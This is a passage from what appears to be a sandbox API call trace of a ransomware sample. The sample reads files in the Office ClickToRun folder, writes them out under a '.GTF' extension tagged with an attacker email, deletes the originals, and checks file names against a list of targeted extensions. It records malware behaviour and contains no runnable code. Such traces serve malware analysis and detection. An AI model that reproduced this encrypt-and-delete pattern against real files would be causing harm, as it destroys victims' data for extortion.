	[0084.795] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x50c0, lpOverlapped=0x0) returned 1
	[0085.049] WriteFile (in: hFile=0x33c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x50d0, lpOverlapped=0x0) returned 1
	[0085.050] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.051] WriteFile (in: hFile=0x33c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0085.051] SetEndOfFile (hFile=0x33c) returned 1
	[0085.841] CloseHandle (hObject=0x33c) returned 1
	[0085.841] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.841] SetEndOfFile (hFile=0x398) returned 1
	[0085.877] CloseHandle (hObject=0x398) returned 1
	[0085.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.877] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1
	[0085.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.877] lstrlenW (lpString=".doc") returned 4
	[0085.877] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.877] lstrlenW (lpString=".docx") returned 5
	[0085.877] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.878] lstrlenW (lpString=".pdf") returned 4
	[0085.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString=".xls") returned 4
	[0085.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString=".xlsx") returned 5
	[0085.878] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.878] lstrlenW (lpString=".ppt") returned 4
	[0085.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.878] lstrlenW (lpString=".zip") returned 4
	[0085.878] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString=".rar") returned 4
	[0085.878] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString=".bz2") returned 4
	[0085.878] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.878] lstrlenW (lpString=".7z") returned 3
	[0085.878] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.878] lstrlenW (lpString=".dbf") returned 4
	[0085.878] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.878] lstrlenW (lpString=".1cd") returned 4
	[0085.878] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.878] lstrlenW (lpString=".jpg") returned 4
	[0085.878] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.878] lstrlenW (lpString=".doc") returned 4
	[0085.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString=".docx") returned 5
	[0085.878] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.878] lstrlenW (lpString=".pdf") returned 4
	[0085.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.878] lstrlenW (lpString=".xls") returned 4
	[0085.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.879] lstrlenW (lpString=".xlsx") returned 5
	[0085.879] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.879] lstrlenW (lpString=".ppt") returned 4
	[0085.879] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.879] lstrlenW (lpString=".zip") returned 4
	[0085.879] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.879] lstrlenW (lpString=".rar") returned 4
	[0085.879] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.879] lstrlenW (lpString=".bz2") returned 4
	[0085.879] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.879] lstrlenW (lpString=".7z") returned 3
	[0085.879] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.879] lstrlenW (lpString=".dbf") returned 4
	[0085.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.879] lstrlenW (lpString=".1cd") returned 4
	[0085.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0085.879] lstrlenW (lpString=".jpg") returned 4
	[0085.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.879] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.879] lstrlenW (lpString="AppvIsvStream64.dll") returned 19
	[0085.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.880] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=473760) returned 1
	[0085.880] CloseHandle (hObject=0x398) returned 1
	[0085.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20
	[0085.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.880] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.880] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.880] GetLastError () returned 0x0
	[0085.880] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x73aa0, lpOverlapped=0x0) returned 1
	[0085.891] WriteFile (in: hFile=0x360, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x73ab0, lpOverlapped=0x0) returned 1
	[0085.899] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.899] WriteFile (in: hFile=0x360, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0085.899] SetEndOfFile (hFile=0x360) returned 1
	[0085.899] CloseHandle (hObject=0x360) returned 1
	[0085.899] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.899] SetEndOfFile (hFile=0x398) returned 1
	[0085.903] CloseHandle (hObject=0x398) returned 1
	[0085.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.904] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1
	[0085.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.904] lstrlenW (lpString=".doc") returned 4
	[0085.904] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.904] lstrlenW (lpString=".docx") returned 5
	[0085.904] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0085.904] lstrlenW (lpString=".pdf") returned 4
	[0085.904] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.904] lstrlenW (lpString=".xls") returned 4
	[0085.904] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.904] lstrlenW (lpString=".xlsx") returned 5
	[0085.904] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0085.904] lstrlenW (lpString=".ppt") returned 4
	[0085.904] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.904] lstrlenW (lpString=".zip") returned 4
	[0085.904] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.904] lstrlenW (lpString=".rar") returned 4
	[0085.904] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.904] lstrlenW (lpString=".bz2") returned 4
	[0085.904] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.904] lstrlenW (lpString=".7z") returned 3
	[0085.905] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.905] lstrlenW (lpString=".dbf") returned 4
	[0085.905] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.905] lstrlenW (lpString=".1cd") returned 4
	[0085.905] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.905] lstrlenW (lpString=".jpg") returned 4
	[0085.905] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.905] lstrlenW (lpString=".doc") returned 4
	[0085.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.905] lstrlenW (lpString=".docx") returned 5
	[0085.905] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0085.905] lstrlenW (lpString=".pdf") returned 4
	[0085.905] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.905] lstrlenW (lpString=".xls") returned 4
	[0085.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.905] lstrlenW (lpString=".xlsx") returned 5
	[0085.905] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0085.905] lstrlenW (lpString=".ppt") returned 4
	[0085.905] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.905] lstrlenW (lpString=".zip") returned 4
	[0085.905] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.905] lstrlenW (lpString=".rar") returned 4
	[0085.905] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.905] lstrlenW (lpString=".bz2") returned 4
	[0085.905] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.905] lstrlenW (lpString=".7z") returned 3
	[0085.905] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.905] lstrlenW (lpString=".dbf") returned 4
	[0085.905] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.906] lstrlenW (lpString=".1cd") returned 4
	[0085.906] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.906] lstrlenW (lpString=".jpg") returned 4
	[0085.906] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.906] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.906] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27
	[0085.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.906] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=210648) returned 1
	[0085.906] CloseHandle (hObject=0x398) returned 1
	[0085.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20
	[0085.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.907] lstrlenW (lpString=".doc") returned 4
	[0085.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.907] lstrlenW (lpString=".docx") returned 5
	[0085.907] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.907] lstrlenW (lpString=".pdf") returned 4
	[0085.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.907] lstrlenW (lpString=".xls") returned 4
	[0085.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.907] lstrlenW (lpString=".xlsx") returned 5
	[0085.907] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.907] lstrlenW (lpString=".ppt") returned 4
	[0085.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.907] lstrlenW (lpString=".zip") returned 4
	[0085.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.907] lstrlenW (lpString=".rar") returned 4
	[0085.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.907] lstrlenW (lpString=".bz2") returned 4
	[0085.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.907] lstrlenW (lpString=".7z") returned 3
	[0085.907] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.907] lstrlenW (lpString=".dbf") returned 4
	[0085.907] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.907] lstrlenW (lpString=".1cd") returned 4
	[0085.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.907] lstrlenW (lpString=".jpg") returned 4
	[0085.907] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.908] lstrlenW (lpString=".doc") returned 4
	[0085.908] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.908] lstrlenW (lpString=".docx") returned 5
	[0085.908] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.908] lstrlenW (lpString=".pdf") returned 4
	[0085.908] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.908] lstrlenW (lpString=".xls") returned 4
	[0085.908] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.908] lstrlenW (lpString=".xlsx") returned 5
	[0085.908] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.908] lstrlenW (lpString=".ppt") returned 4
	[0085.908] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.908] lstrlenW (lpString=".zip") returned 4
	[0085.908] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.908] lstrlenW (lpString=".rar") returned 4
	[0085.908] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.908] lstrlenW (lpString=".bz2") returned 4
	[0085.908] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.908] lstrlenW (lpString=".7z") returned 3
	[0085.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.908] lstrlenW (lpString=".dbf") returned 4
	[0085.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.908] lstrlenW (lpString=".1cd") returned 4
	[0085.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.908] lstrlenW (lpString=".jpg") returned 4
	[0085.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.908] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.909] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30
	[0085.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.909] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1402584) returned 1
	[0085.909] CloseHandle (hObject=0x398) returned 1
	[0085.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20
	[0085.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.909] lstrlenW (lpString=".doc") returned 4
	[0085.909] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.909] lstrlenW (lpString=".docx") returned 5
	[0085.909] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.909] lstrlenW (lpString=".pdf") returned 4
	[0085.909] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.909] lstrlenW (lpString=".xls") returned 4
	[0085.909] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.909] lstrlenW (lpString=".xlsx") returned 5
	[0085.909] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.910] lstrlenW (lpString=".ppt") returned 4
	[0085.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.910] lstrlenW (lpString=".zip") returned 4
	[0085.910] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString=".rar") returned 4
	[0085.910] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString=".bz2") returned 4
	[0085.910] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.910] lstrlenW (lpString=".7z") returned 3
	[0085.910] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.910] lstrlenW (lpString=".dbf") returned 4
	[0085.910] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.910] lstrlenW (lpString=".1cd") returned 4
	[0085.910] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.910] lstrlenW (lpString=".jpg") returned 4
	[0085.910] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.910] lstrlenW (lpString=".doc") returned 4
	[0085.910] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString=".docx") returned 5
	[0085.910] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.910] lstrlenW (lpString=".pdf") returned 4
	[0085.910] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString=".xls") returned 4
	[0085.910] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.910] lstrlenW (lpString=".xlsx") returned 5
	[0085.910] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.910] lstrlenW (lpString=".ppt") returned 4
